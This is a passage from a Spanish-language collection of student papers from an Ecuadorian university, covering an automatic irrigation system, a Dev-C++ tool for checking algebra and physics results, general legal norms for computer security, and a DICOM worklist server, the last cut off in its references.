Análisis: Cuando el % de humedad sea menor o igual a 50% este se activará automáticamente, caso contrario sea mayor a 50% se desactivará el sistema.

VALIDAR NOTIFICACIÓN EN EL LSD

Cuando el LSD en la pantalla llegue a determinado porcentaje % programado se mostrará un mensaje de acuerdo a lo que se ha puesto.

Tabla 2

Mensaje en pantalla	Notifica Cuando
Tierra Húmeda	% de Humedad > 50%.
Temperatura Baja	°C de Temperatura < 40° C.
Tierra seca	% de Humedad <= a 50%.
Temperatura Alta	°C de Temperatura >= 40° C.

Análisis: Cuando el % de humedad sea mayor a 50% este mostrara en la pantalla del LCD que la Tierra está humedad, cuando la temperatura en grado Celsius este menos 40, la pantalla mostrara temperatura baja, cuando la humedad sea menor o igual a 50, Tierra seca, y por último mostrara un mensaje de Temperatura alta cuando los grados Celsius estén por debajo o igual a los 40° C.

4. CONCLUSIONES

Como conclusión tenemos que es importante conocer el valor de humedad del suelo, sí bien es más importante conocer su fluctuación en el tiempo y la distribución dentro del lomo.

El sistema de riego automático permitirá mejorar el control de riego, reduciendo el consumo de agua y mejorando la productividad en los cultivos. La instalación de este sistema ayuda a optimizar el tiempo y forma de riego en un área pequeña de cultivos a un bajo coste. El producto está limitado a espacios reducidos, por su implementación en bajo consumo de potencia, pero con opciones de poder ampliarse a la vida real utilizando el mismo diseño, pero involucrando accesorios de mayor potencia en áreas de cultivos más grandes

5. RECOMENDACIONES

Se recomienda que se realice el presente proyecto, ya que es muy novedoso e importante ya que nos permite llevar a cabo un sistema de riego automático, permitiendo así tener un mejor control y distribución del agua, ya que en nuestro entorno, cada familia suele tener un pequeño jardín o macetas con plantas, en la cual se puede observar que se riegan las plantas de forma incorrecta utilizando mangueras o tachos llenos de agua la cual conlleva a desperdiciar el líquido vital y provocando inundación en las plantas o incluso una podredumbre, este proyecto se realizó para evitar esos molestos e incómodas formas de riego, dando paso a un sistema automático que beneficia nuestro entorno y nuestra economía.

Se motiva a los ciudadanos a realizar su propio sistema de riego de plantas, tomando en cuenta que hay que disponer de tiempo, paciencia y un poco de dinero para lograr dicho objetivo, beneficiando la economía de nuestros hogares ecuatorianos.

REFERENCIAS BIBLIOGRÁFICAS

Wikipedia (19 de Noviembre de 2018) <https://es.wikipedia.org/wiki/Rel%C3%A9>

Bricogeek (14 de Julio de 2018). https://cdn-tienda.bricogeek.com/2176-thickbox_default/sensor-de-humedad-del-suelo.jpg

F.N. (24 de abril de 2018). Obtenido de <https://www.arduino.cc/en/Guide/BoardAnatomy>:

EcuRed. (23 de junio de 2017). Obtenido de https://www.ecured.cu/Sistema_de_Riego

J, R. (05 de septiembre de 2017). https://es.wikipedia.org/wiki/Circuito_integrado_555. Obtenido de https://es.wikipedia.org/wiki/Circuito_integrado_555

LCD. (28 de julio de 2018). Obtenido de <https://www.engineersgarage.com/electronic-components/16x2-lcd-module-datasheet>

Mundo Teleco. (15 de marzo de 2018). Obtenido de <http://mundotelecomunicaciones1.blogspot.com/2014/09/codigos-de-colores-de-las-resistencias.html>

P.H. (24 de febrero de 2017). Obtenido de <http://www.areatecnologia.com/electronica/como-es-un-led.html>

TuElectronica.es. (28 de mayo de 2018). Obtenido de <https://tuelectronica.es/que-es-la-protoboard/>

wikipedia. (13 de Abril de 2018).

K.D. (13 de Junio de 2015). Obtenido de 2018: https://es.wikipedia.org/wiki/Sistema_de_riego

S.A. (13 de 06 de 2018). Obtenido de https://es.wikipedia.org/wiki/Sistema_de_riego

Bric (19 de abril de 2018). https://cdn-tienda.bricogeek.com/2176-thickbox_default/sensor-de-humedad-del-suelo.jpg

EcuRed. (23 de agosto de 2017). Obtenido de https://www.ecured.cu/Sistema_de_Riego

APLICACIÓN INFORMÁTICA PARA COMPROBAR LOS RESULTADOS DE CÁLCULOS ALGEBRAICOS Y FÍSICOS

Jessica Paola Bastidas Guale

Alison Yosa Tubay

Lcda. Kirenia Maldonado Zuñiga. Mg.

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

jescaguale@hotmail.com

RESUMEN

Se presenta el resultado de un proyecto elaborado en la Universidad Estatal del Sur de Manabí de la ciudad de Jipijapa, Manabí, Ecuador. En el cual se realizó una encuesta a los estudiantes de segundo semestre, donde se comprobó que tenían dificultad para resolver ejercicios algebraicos y físicos, las cuales son materias que reciben los profesionales en formación en dicho nivel. Lo cual permitió el análisis de esta problemática mediante las encuestas realizadas. Para el desarrollo de esta aplicación se utilizó Dev-C, previo a iniciar con el desarrollo de esta aplicación se investigó ¿Qué es? y ¿Cómo se trabaja con Dev-C++? Al profesional en formación le tomaba una cantidad considerable de tiempo la elaboración de ejercicios algebraicos y físicos, ya que el estudiante no podía comprobar sus resultados, cabe recalcar que la aplicación informática desarrollada no realiza el proceso de ellos, solo indica el resultado, el cual sirve para verificar si realizó bien el ejercicio planteado, en caso de que los resultados manuales del estudiante no coincidan con el de la aplicación, el podrá volver a intentarlo y así corregir los posibles errores que tuvo al resolver su problema físico-matemático. Se utilizaron métodos teóricos donde se manejaron el análisis- síntesis y el inducción- deducción, durante todo el proceso de la investigación se usaron métodos de nivel empírico tales como, observación y análisis documental. La aplicación tuvo buena aceptación por parte de los estudiantes para comprobación de ejercicios propuestos, dando soporte directo al desarrollo de la aplicación previamente planteada.

PALABRAS CLAVE: aplicación, conocimiento, dificultad, software.

ABSTRACT

The result of a project elaborated in the State University of the South of Manabí of the city of Jipijapa, Manabí, Ecuador is presented. In which a survey was conducted to students in the

second semester, where it was found that they had difficulty solving algebraic and physical exercises, which are subjects received by professionals in training at that level. Which allowed the analysis of this problem through the surveys conducted. For the development of this application Dev-C was used, before starting with the development of this application, what was it investigated? and how do you work with Dev-C ++? To the professional in training it took a considerable amount of time the elaboration of algebraic and physical exercises, since the student could not verify his results, it is necessary to emphasize that the computer application developed does not carry out the process of them, it only indicates the result, which it serves to verify if I perform the proposed exercise well, in case the manual results of the student do not coincide with the application, he will be able to try again and correct the possible errors he had when solving his physical-mathematical problem. Theoretical methods were used where analysis-synthesis and induction-deduction were handled. Empirical level methods such as observation and documentary analysis were used throughout the research process. The application was well accepted by students to check proposed exercises, giving direct support to the development of the previously proposed application.

KEYWORDS: application, difficulty, knowledge, software.

1. INTRODUCCIÓN

Con el pasar del tiempo hemos visto grandes avances tecnológicos que nos ayudan a hacer tareas mucho más rápidas y precisas, tal es el caso de la búsqueda y recolección de información, como sabemos años atrás para poder realizar un ejercicio que no pudiéramos debíamos acceder a libros, artículos, revistas, periódicos o cualquier medio que nos diera información relevante o simplemente ir a una biblioteca y pasar largas horas y revisar distintos libros.

Gracias a ello la tecnología se ha mejorado para dar las soluciones necesarias a este tipo de dificultades al desarrollar softwares muy fáciles de manejar. Y en el proyecto se ha hecho algo similar, pero nos hemos enfocado en las áreas de Fisica y Algebra Lineal ya que estas materias son difíciles de asimilar, y habrá información que sea relevante además de resultados correctos de los ejercicios propuestos de una menea rápida y eficaz.

En este proyecto de identificaran que ejercicios son más difíciles de comprobar para así llevar a cabo su creación, para dar facilidades a los estudiantes que lo necesitan como medida de apoyo mientras este cursa el segundo semestre en su vida universitaria. Uno de los propósitos fundamentales que mueve a crear este proyecto es para demostrar que existen múltiples

maneras de aprendizaje y basta con solo proponerse aprender y buscar para así mejorar nuestros niveles de conocimiento.

Es muy importante recalcar que todas las personas tienen la capacidad para mejorar si pone de su parte y se dedica en sus estudios, en el día a día la tecnología desarrolla software que ayudan al estudiante a mejorar su aprendizaje con la autoeducación.

2. MATERIALES Y MÉTODOS

Son los medios que sirvieron de guía para empezar a realizar las investigaciones para la creación de la aplicación informática y así poder utilizar información que sea relevante, que pueda ser utilizada a medida que los estudiantes la necesiten

De nivel teórico

❖ Método teórico

Hace referencia a los pasos de formas ordenada y jerárquica que seguimos para poder definir el análisis y síntesis en este proyecto de investigación; del cual proviene información referente al tema de teorías previamente definidas para así poder mostrar la investigación realizada.

❖ Método de inducción - deducción

Se emplea en el desarrollo de la investigación, permitiendo plantear que la aplicación desarrollada es una ayuda para estudiantes y docentes que pretendan ser autodidactas y así prepararse en temas un poco más complejos.

De nivel empírico

❖ Método estadístico

Fue utilizado para ordenar la información de las encuestas en gráficos estadísticos y así conocer el análisis de cada una de las preguntas planteadas.

3. RESULTADOS Y DISCUSIÓN

- 1. ¿Cuál es el grado de dificultad que usted tiene a la hora de comprobar sus resultados en las áreas de Física y Álgebra?**

Gráfico 1

Tabla 1

Alternativa	Estudiantes	Porcentaje
Alto	18	60%
Medio	8	27%
Bajo	4	13%
Total	30	100%

Fuente: Población del segundo semestre de ingeniería en TI “Universidad Estatal del Sur de Manabí”

Elaborado por: Jessica Bastidas.

Análisis:

Dentro del gráfico 1, demuestran que de los 30 estudiantes encuestados: El 60% respondió la alternativa **alto**, el 27% de los encuestados respondió la alternativa **medio** y el 13% respondió la alternativa **mucho**.

2 ¿Conoce usted alguna herramienta tecnológica que le permita comprobar resultados de ejercicios de Física y Algebra?

Gráfico 2

Tabla 2

Alternativa	Estudiantes	Porcentaje
Si	8	27%
No	22	73%
Total	30	100%

Fuente: Población del segundo semestre de ingeniería en TI “Universidad Estatal del Sur de Manabí”

Elaborado por: Jessica Bastidas.

Análisis: Por lo tanto, se deduce que el 27% de los estudiantes si conoce alguna herramienta para comprobar resultado, el 73% no conoce ninguna herramienta para comprobar resultados.

3 ¿Le gustaría un software que comprobara los resultados de ejercicios de Física y Algebra de una forma fácil y practica?

Gráfico 3

Tabla 3

Alternativa	Estudiantes	Porcentaje
Si	25	83%
No	5	17%
Total	30	100%

Fuente: Población del segundo semestre de ingeniería en TI “Universidad Estatal del Sur de Manabí”

Elaborado por: Jessica Bastidas

Análisis: Por lo tanto, se deduce que el 83% de los estudiantes les gustaría una aplicación para comprobar resultados matemáticos y físico, el 17% no les gustaría un software de comprobación de resultados de ejercicios matemáticos y físicos.

4. CONCLUSIONES

Las conclusiones deben ser breves y reflejar las contribuciones más relevantes de la investigación.

- Una vez realizado las encuestas a estudiantes de segundo semestre se observó que hay un cierto nivel de inconveniente al resolver ciertos ejercicios que se pudieron abarcar en el desarrollo de la aplicación informática mediante cálculos algebraicos y físicos, además de pequeños y precisos conceptos que se podrán encontrar en un mismo lugar y que serán de gran ayuda.
- Durante el desarrollo de la aplicación, se determinó los resultados obtenidos de las encuestas, lo cual contribuyó a la reducción de información con el fin de que el estudiante pueda manejarla de manera más clara y precisa la aplicación.
- En la realización de pruebas para el correcto funcionamiento del software se llegó a la conclusión de que este ayudara mucho a estudiantes de segundo semestre, gracias al menú, los consejos que encontraran podrán colaborar según el tipo de ejercicio que se requiera, en comprobar su resultado de las materias mencionadas en este artículo.

5. BIBLIOGRAFÍA

- Aguilera, Y. R. (sf.). Monografías. Obtenido de <https://www.monografias.com/trabajos97/informatica-ambito-educativo/informatica-ambito-educativo2.shtml>
- Pedreira, J. A. (noviembre de 2001). Obtenido de http://www.lcc.uma.es/~pedre/LP/Dev_C++.htm
- Verdín, S. A. (29 de agosto de 2014). Obtenido de <https://michelletorres.mx/que-es-un-ide-los-ide-mas-utilizados-para-c/>
- Villagómez., C. (3 de junio de 2009). CCM. Obtenido de <https://es.ccm.net/faq/2821-la-compilacion-y-los-modulos-en-c-y-c#instalacion-de-un-compilador-c-y-c>

BIOGRAFÍA DE AUTORES

Jessica Paola Bastidas Guale. Estudiante de la Carrera Tecnologías de la Información.

Alison Yosa Tubay. Estudiante de la Carrera Tecnologías de la Información.

Kirenia Maldonado Zuñiga. Máster en Ciencias de la Educación, Licenciada en Educación Informática, Universidad de Ciencias Pedagógicas, Holguín Cuba.

NORMATIVAS LEGALES PARA BRINDAR SEGURIDAD INFORMÁTICA

Darwin Xavier Toala Cevallos,

Freddy Enrique Cali Rivera

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ,

fre-enr-cali@hotmail.com

RESUMEN

Se refiere a seguridad informática a las normativas y privatización; de sus sistemas y en esta se pueden encontrar dos tipos: La seguridad lógica que se enfoca en la protección de los contenidos y su información y la seguridad física aplicada a los equipos como tal, ya que el ataque no es estrictamente; al software del computador como tal sino también al hardware. Las amenazas pueden presentarse tanto desde manera externa como manera interna, y la forma de ataques que comúnmente se utiliza es el ataque mediante virus;- que son archivos que pueden alterar información u datos de otro archivo sin consentimiento del usuario; la manera externa es la que se realiza desde afuera y no posee tanta seguridad, por lo tanto es fácil de combatir, y por ende más difícil por parte del perpetrador llegar a concretar su ataque, en cambio de la interna que es mucho más peligrosa ya que no necesita estar conectado en red el computador para recibir el ataque, las formas más comunes para defenderse contra estos ataques es la utilización de los antivirus y los cortafuegos o firewall.

PALABRAS CLAVES: firewall, seguridad, virus.

ABSTRACT

It refers to computer security to regulations and privatization; of its systems and in this you can find two types: The logical security that focuses on the protection of content and its information and the physical security applied to the equipment as such, since the attack is not strictly; to the computer software as such but also to the hardware. Threats can be presented both externally and internally, and the form of attacks that is commonly used is virus attack: - they are files that can alter information or data from another file without the user's consent; the external way is the one that is carried out from the outside and does not have as much security, therefore it is easy to fight, and therefore more difficult on the part of the perpetrator to reach a specific attack, instead of the internal one that is much more dangerous because that the computer does not need to be connected in network to receive

the attack, the most common ways to defend against these attacks is the use of antivirus and firewalls or firewalls.

KEYWORDS: firewal, security, virus.

1. INTRODUCCIÓN

“Existen muchas definiciones del término seguridad. Simplificando, y en general, podemos definir la seguridad como: "Característica que indica que un sistema está libre de todo peligro, daño o riesgo (mifsud, 2012)”

“Cuando hablamos de seguridad de la información estamos indicando que dicha información tiene una relevancia especial en un contexto determinado y que, por tanto, hay que proteger. (mifsud, 2012)”

“La Seguridad de la Información se puede definir como conjunto de medidas técnicas, organizativas y legales que permiten a la organización asegurar la confidencialidad, integridad y disponibilidad de su sistema de información (mifsud, 2012)”

En un principio ni siquiera se hablaba de propiedad intelectual, sino de derechos de autor, es decir, el reconocimiento de la autoría de una obra. Sin embargo, la evolución de la sociedad, no sólo por el auge de lo que aún llamamos nuevas tecnologías, sino por el crecimiento de una economía de mercado, basada en el consumo, y a la que las nuevas redes de comunicaciones y los dispositivos electrónicos, ampliamente difundidos en la sociedad, la llamada sociedad de la información, están contribuyendo cambiando las formas de comercio y de distribución de los contenidos digitalizados, haciéndolos más asequibles, llegando a un gran público de forma inmediata.

“En la actualidad vivimos en una sociedad en donde la tecnología es un punto clave para el desarrollo de cualquier la circulación de información ya sea social, empresarial, o industrial. Por ello podemos compartir información a mayor velocidad y a corto tiempo facilitándonos de manera rápida y eficaz el trabajo. Cabe recalcar que, pese a la gran evolución, no todos los datos compartidos son seguros pero si nos pueden garantizar un grado de confiabilidad aceptable (Lloréns, 2015)”

“Es de suma importancia la confidencialidad de la informática en la gestión de los recursos humanos, ya que generaliza información o ficheros automatizados de la información que conservan incluyendo datos personales tanto del personal de trabajo como de los inversionistas

incluso cálculos y cuentas como los es en el caso de una empresa o entidad tanto pública como privada (Conrado Ramada, 2001)”

“La seguridad informática es una disciplina que nos permite diseñar normas, procedimientos e incluso distintos tipos técnicas para acceder a un sistema de seguridad altamente confiable y seguro al usuario. Se debe recalcar que tener un estándar de seguridad informático también implica riesgos, por ello es necesario la implementación de medidas para controlar y reducir peligros o amenazas en el sistema” (Lopez, 2010)

“Todos los elementos que participan en un sistema de información en ocasiones pueden ser afectados por problemas existentes de fallos en la seguridad de los archivos del ordenador, por ello cuando esto ocurre es recomendable reiniciar o restaurar el hardware y otros elementos físicos por motivos de seguridad, aun esto no garantice la recuperación de información afectada por el sistema” (López, 2010)

“En algunos países aun no existen legislaciones que obliguen a las organizaciones tanto públicas como privadas a implementar ciertos tipos de medidas para gestionar un tipo de seguridad en sus sistemas informáticos, excepto a los que requieran de protección de datos personales. Existen también leyes que exigen a los profesionales de salud cumplir con ciertos estándares de seguridad informática además de llevar un registro tangible de sus datos e información en caso de que existan amenazas en el sistema” (Vieites, 2011)

“Las políticas de seguridad deberían ser implementadas a través de distintos procedimientos administrativos y guías de usos aceptables por parte del personal también mediante la instalación, implementación, configuración y mantenimiento de dispositivos y herramientas tanto de hardware como de software que nos permitan implantar servicios de seguridad” (Vieites, 2011)

“Debemos tener en cuenta dos aspectos contradictorios en las redes y sistemas informáticos; por un lado, su principal razón es facilitar la comunicación y el acceso a la información, por otro lado, asegurar que solo puedan acceder a ella el personal autorizado. Esta contradicción otra presente, ya que las medidas se adoptan para mejorar la seguridad, monitorización del uso, cifrado o detección de virus que dificulten el uso de las redes y sistemas, por eso es necesario mantener un compromiso entre la usabilidad y rendición de sistemas informáticos” (Vieites, 2011)

“Las políticas de seguridad establecen herramientas para poder hacer frente a los inconvenientes, fallos en el sistema, imprevistos o contratiempos inesperados, incluso de posibles ataques informáticos. No obstante, se puede incurrir en falsas sensaciones de seguridad si las políticas no han sido implementadas de manera correcta en la organización o entidad” (Vieites, 2011)

Tres Normas de seguridad de información entre las más comunes tenemos las siguientes:

1. No facilitar nuestros datos personales, ni ningún tipo de acceso a usuarios no autorizados. No queremos que nadie los use en nuestra contra. (Tenerife, 2015)
2. No es recomendable apuntar o tener escritas las contraseñas de acceso en un documento ya sea escrito a mano o en el computador. Es recomendable crear y usar contraseñas combinadas y con caracteres largos. (Tenerife, 2015)
3. Tener como mínimo un software antimalware y antispyware, no queremos ni que infecten nuestro equipo ni que nos espíen a nosotros (Tenerife, 2015)

ROBOS DE INFORMACIÓN CORPORATIVA

Mediante ataques informáticos, una importante cantidad de información confidencial, datos personales y secretos comerciales son sustraídos a diario. Por este motivo, las empresas de seguridad informática han perfeccionado herramientas de prevención y defensa que dificultan e impiden la intrusión y el acceso a la información. (ESET COMPANY, 2017)

“Por otro lado, con el Reglamento General de Protección de Datos, todas las empresas están obligadas a notificar las brechas de seguridad, por lo que deberán extraer información constante sobre los intentos de intrusión y los accesos exitosos no autorizados para poder realizar la notificación en plazo. Además, se establece la obligación de comunicar determinados detalles de la brecha a las personas cuyos datos se hayan podido ver afectados de alguna forma” (ESET COMPANY, 2017)

2. MATERIALES Y MÉTODOS

Se uso el método investigativo el cual consiste en la percepción directa del objeto de investigación, la observación permite conocer la realidad mediante la percepción directa de los objetos y fenómenos.

3. RESULTADOS Y DISCUSIÓN

La Seguridad de la Información se puede definir como conjunto de medidas técnicas, organizativas y legales que permiten a la organización asegurar la confidencialidad, integridad y disponibilidad de su sistema de información (mifsud, 2012). Es de suma importancia la confidencialidad de la informática en la gestión de los recursos humanos, ya que generaliza información o ficheros automatizados de la información que conservan incluyendo datos personales tanto del personal de trabajo como de los inversionistas incluso cálculos y cuentas como los es en el caso de una empresa o entidad tanto pública como privada (Conrado Ramada, 2001). Tener en cuenta en no darle a nadie nuestras credenciales ya que por tal motivo esto sería una falencia de nosotros mismos por lo cual estaríamos dando acceso a todos nuestros datos e información la misma que puede ser compartida con los demás usuarios para así hacernos daños y pérdidas importantes de información confidencial.

4. CONCLUSIONES

- Las principales amenazas para la seguridad informática de la empresa pueden venir tanto del exterior como desde dentro (Economia3.com, 2015)
- Los requisitos normativos y contractuales de cada sistema de información deben estar debidamente definidos y documentados (Campetella, 2015)

REFERENCIAS BIBLIOGRÁFICAS

Campetella, M. (8 de Abril de 2015). *Aspectos legales de la seguridad informatica*. Obtenido de

https://www.owasp.org/images/2/20/TourPatagonia2015_Aspectos_Legales_de_la_Seguridad_Inform%C3%A1tica.pdf

Conrado Ramada. (01 de 02 de 2001). *grupormh*. Obtenido de La normativa sobre seguridad informática y protección de datos personales y su incidencia en el ámbito laboral: <http://www.rrhhmagazine.com/articulos.asp?id=1098>

Economia3.com. (16 de Junio de 2015). *Webmaster*. Obtenido de Conclusiones sobre la seguridad informática: <https://economia3.com/2015/06/16/51363-conclusiones-sobre-la-seguridad-informatica/>

ESET COMPANY. (28 de 01 de 2017). Estas son las medidas de ciberseguridad que la nueva normativa europea obliga a adoptar a las empresas. Madrid, Madrid, España.

Lloréns, S. (1 de septiembre de 2015). *SÀNCHEZ LLÒRENS*. Obtenido de *NORMATIVA LEGAL EN MATERIA DE SEGURIDAD INFORMÁTICA (1ª PARTE)*: <https://sanchezllorens.org/2015/09/01/normativa-legal-en-materia-de-seguridad-informatica-1a-parte/>

Lopez, P. A. (2010). *Seguridad informatica*. Editex.

Meyer, C. O. (20 de 03 de 2014). *criptored.upm.es*. Obtenido de http://www.criptored.upm.es/guiateoria/gt_m327a.htm

mifsud, E. (26 de marzo de 2012). *OBSERVATORIO TECNOLÓGICO*. Obtenido de recursostic.educacion.es: <http://recursostic.educacion.es/observatorio/web/en/software/software-general/1040-introduccion-a-la-seguridad-informatica?showall=1>

Rios, I. F. (2012). *politica y legislacion informatica*. Red Tercer Mundo S.C.

Rodriguez, F. (2013). *derecho informatico*.

Tenerife, W. (28 de 07 de 2015). *Wilantenerife*. Obtenido de 10 NORMAS BÁSICAS PARA LA SEGURIDAD INFORMÁTICA: <http://wilantenerife.com/2015/07/28/10-normas-basicas-para-la-seguridad-informatica/>

Vieites, Á. G. (2011). *Enciclopedia de la Seguridad Informática. 2ª edición*. Madrid - España: RA-MA ISBN de Edición en Papel:

BIOGRAFÍA DEL AUTOR

Darwin Xavier Toala Cevallos, Estudiante de la Carrera de Ingeniería en Sistemas Computacionales de la Universidad Estatal del Sur de Manabí

Freddy Enrique Cali Rivera, Estudiante de la Carrera de Ingeniería en Sistemas Computacionales de la Universidad Estatal del Sur de Manabí

**DESARROLLO DEL SERVIDOR DE LISTAS DE TRABAJO DICOM PARA LA SOLUCIÓN
PACS-RIS DEL CENTRO DE INFORMÁTICA MÉDICA**

Ing. Claudia Jiménez Heredia,

Lcdo. Benjamín de Zayas Núñez,

Lcda. Kirenia Maldonado Zuñiga. Mg.

Lcda. Raquel Vera Velázquez. Mg.

Lcdo. Liodanis Alberto Rodríguez Martínez.

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

claudiajimenezheredia@gmail.com

RESUMEN

Una lista de trabajo DICOM contiene datos de pacientes y procedimientos a realizar en un departamento de imagenología. Los servidores de listas de trabajo DICOM permiten que la información del estudio y del paciente se mantenga consistente tanto en el RIS como en el PACS. En el Centro de Informática Médica (CESIM) de la Universidad de las Ciencias Informáticas (UCI) en Cuba, se desarrolla una solución PACS-RIS. Como parte de dicha solución, se implementó el componente alas PACSWorklist el cual se encuentra acoplado al RIS. Dicho componente solo permite, a los equipos de adquisición, consultar su lista de trabajo. No cuenta con un panel de configuración para su administración. El objetivo de la presente investigación fue desarrollar un componente de software encargado del manejo de las listas de trabajo DICOM. Para ello se realizó un estudio de los perfiles de integración propuestos por IHE. Dicho estudio determinó la utilización del perfil Flujo de trabajo programado en dicho componente. El desarrollo del componente estuvo guiado por la metodología RUP. Se utilizó C# como lenguaje de programación, Enterprise Architect 7.5 para el modelado, Visual Studio 2013 como herramienta de desarrollo y PostgreSQL 9.3 como gestor de bases de datos. Al concluir el desarrollo se obtuvo un componente que permite el manejo de las listas de trabajo DICOM entre los sistemas PACS y RIS. El mismo podrá ser utilizado por sistemas de cualquier fabricante, que hagan uso de los servicios definidos por el estándar DICOM para el intercambio de información entre sistemas médicos.

PALABRAS CLAVE: DICOM, IHE, listas de trabajo, perfil de integración, servidor.

ABSTRACT

A DICOM work list contains patient data and procedures to perform in an imaging department. The DICOM worklist servers allow the study and patient information to remain consistent in both the RIS and the PACS. At the Medical Informatics Center (CESIM) of the University of Information Sciences (UCI) in Cuba, a PACS-RIS solution is developed. As part of this solution, the PACSWorklist component was implemented which is coupled to the RIS. This component only allows the acquisition teams to consult their work list. It does not have a configuration panel for its administration. The objective of the present investigation was to develop a software component in charge of managing the DICOM work lists. To this end, a study was made of the integration profiles proposed by IHE. This study determined the use of the Workflow profile programmed in said component. The development of the component was guided by the RUP methodology. C # was used as a programming language, Enterprise Architect 7.5 for modeling, Visual Studio 2013 as a development tool and PostgreSQL 9.3 as a database manager. At the conclusion of the development, a component was obtained that allows the management of the DICOM work lists between the PACS and RIS systems. It may be used by systems of any manufacturer, which make use of the services defined by the DICOM standard for the exchange of information between medical systems.

KEY WORDS: DICOM, IHE, integration profile, server, work lists

1. INTRODUCCIÓN

La tendencia hacia el uso de la radiología digital, especialmente en el diagnóstico por imagen y el intercambio de información entre sistemas informáticos médicos, puso de relieve la necesidad de estandarizar los protocolos de comunicación y los formatos de la información en sanidad. Es por esto que surge el estándar Imagen Digital y Comunicaciones en Medicina, por sus siglas en inglés DICOM (Digital Imaging and Communication in Medicine). Es un estándar de comunicación entre sistemas de información y a la vez un formato de almacenamiento de imágenes médicas. (Clinic-Cloud, 2014)

Los ficheros DICOM son la base de los sistemas conocidos como Sistemas de Almacenamiento y Comunicación de Imágenes (PACS). Un PACS está compuesto por equipos de adquisición de imágenes médicas, estaciones de visualización y procesamiento de la información entre otros, todos integrados por las redes digitales y software de aplicación (Aguilar, 2013).

Los sistemas PACS no cubren todas las necesidades requeridas por los departamentos de diagnóstico por imágenes, para complementarlos se utilizan los Sistemas de Información Radiológica (RIS). Estos se desempeñan en la gestión de la información que se genera en los departamentos de radiología. (Castro & Hernández Noguera, 2012)

La forma en que interactúan los sistemas PACS y RIS se ha estandarizado con el surgimiento y uso de IHE (Integrating the Healthcare Enterprise), una iniciativa que tiene como finalidad, mejorar la comunicación entre los diferentes sistemas sanitarios. (H.K.Huang, 2010)

En el Centro de Informática Médica (CESIM) de la Universidad de las Ciencias Informáticas en Cuba se desarrolla la solución PACS-RIS. Ante el problema de mantener identificados a los pacientes y estudios de manera única en dicha solución, se creó el componente alas PACSWorklist.

Este componente posee un servicio básico que permite a los equipos de adquisición de imágenes médicas, consultar su lista de trabajo. Una vez que comience la ejecución del estudio en el equipo de adquisición de imágenes médicas, no es posible actualizar el estado del mismo en el RIS y en el PACS. Debido a esto no se puede llevar a cabo un control sobre los estudios para saber en qué estado se encuentran.

La solución a las PACSWorklist se encuentra acoplado al RIS desarrollado por el CESIM. Esto hace que, en caso de que el RIS evolucione, no se puede seguir contando con el mismo servidor de listas de trabajo sin tener que realizarle modificaciones. Esta solución no posee un panel de configuración, haciendo difícil su administración por parte del personal encargado en las instituciones hospitalarias. Esto trae como consecuencia que presente problemas para su configuración y mantenimiento.

Tendencias en el desarrollo de servidores de listas de trabajo DICOM

La función principal de los servidores de listas de trabajo DICOM, es conseguir que la información correspondiente a los pacientes y los estudios de estos se mantenga consistente tanto en el RIS como en el PACS. Desde el punto de vista práctico, la lista de trabajo permite que, en las consolas de los equipos de adquisición de imágenes médicas, aparezcan los pacientes citados para el día correspondiente de forma que, los radiólogos, puedan seleccionar y realizar el estudio indicado. Desde el punto de vista informático, el proceso es más complejo.

Existen varias formas de implementar un servidor de listas de trabajo DICOM.

- a. Servidor de listas de trabajo DICOM independiente.
- b. Servidor de listas de trabajo DICOM en el RIS.
- c. Servidor de listas de trabajo DICOM en el PACS.

Durante la investigación se realizó un estudio de las tendencias en el desarrollo de servidores de listas de trabajo DICOM. Entre los sistemas estudiados se encuentran iSite PACS Worklist, perteneciente a Philips y el HealthE PACS Worklist una solución desarrollada por Healthline Information Systems. (Agfa HealthCare, 2015)

La utilización de alguno de estos sistemas no resolvería el problema identificado para la solución PACS-RIS pues no satisfacen la problemática descrita. Por otra parte, estos sistemas tienen como principal desventaja que son sistemas propietarios, lo que traería como consecuencia costos excesivos en el uso y mantenimiento de los mismos. Esto trae consigo que no se pueda modificar el código de estos para su adaptación al problema planteado.

2. MATERIALES Y MÉTODOS

Los métodos científicos utilizados en la investigación son:

Métodos Teóricos

Histórico-lógico: se utiliza con el objetivo de realizar un análisis histórico acerca de las tendencias en el desarrollo de servidores de listas de trabajo DICOM.

Análisis-síntesis: se hace uso del mismo para determinar, a partir de un estudio de los elementos que conforman las listas de trabajo DICOM, las relaciones y nexos esenciales que existen entre los mismos. Esto permite conocer los datos necesarios a utilizar en el intercambio de información entre los sistemas PACS y RIS.

Inducción-deducción: a partir de un análisis del funcionamiento del componente alas PACSWorklist, se evalúan los elementos que constituyen la problemática existente y se definen los aspectos particulares que se utilizarán para elaborar la propuesta de solución.

3. RESULTADOS Y DISCUSIÓN

Al desarrollar el servidor de listas de trabajo DI-COM, Celsus Worklist, se obtuvo como principal resultado, que el mismo se integra al RIS, aumentando el valor agregado de la solución. Además, con el uso de Celsus Worklist se puede conocer el estado del estudio, de forma actualizada, en todo momento.

Este sistema permite a los administradores gestionar, a través de la interfaz web que posee, la administración y configuración de los servicios que brinda. El uso de Celsus Worklist permite eliminar la entrada manual de los datos de los estudios a realizar en los equipos de adquisición de imágenes médicas. Esto evita errores en el flujo de información de los departamentos de imagenología.

El componente Celsus Worklist podrá ser utilizado por cualquier RIS y PACS, siempre y cuando estos cuenten con los servicios establecidos por el estándar DICOM para el uso de las listas de trabajo en los equipos de adquisición de imágenes médicas.

4. CONCLUSIONES

Con el desarrollo de las funcionalidades asociadas al componente Celsus Worklist se concluye lo siguiente:

Las funcionalidades del componente Celsus Worklist fueron definidas teniendo en cuenta la problemática existente y las tendencias actuales en el desarrollo de servidores de listas de trabajo DICOM. El componente desarrollado permite la consistencia de la información del paciente, durante la realización del estudio imagenológico y la integración del mismo con los sistemas de apoyo al diagnóstico médico, en los sistemas que cuenten con los servicios DICOM necesarios, debido a la utilización del perfil propuesto por IHE, flujo de trabajo programado y las transacciones de-finidas por este. Las características del componente se estableció una arquitectura basada en los estilos arquitectónicos cliente-servidor y n-capas. La declaración de conformidad DICOM elaborada, permite a los responsables de la red imagenológica del centro de salud donde se encuentre, conocer cómo se integrará el componente Celsus Worklist con los demás equipos y sistemas de apoyo al diagnóstico médico.

REFERENCIAS BIBLIOGRÁFICAS

- Agfa HealthCare. (2015). *Agfa HealthCare*. Obtenido de http://www.agfahealthcare.com/global/en/image_management/radiology/products/impax/index.jsp
- Aguilar, C. G. (2013). *Sistema para el almacenamiento y transmisión de imágenes médicas*.
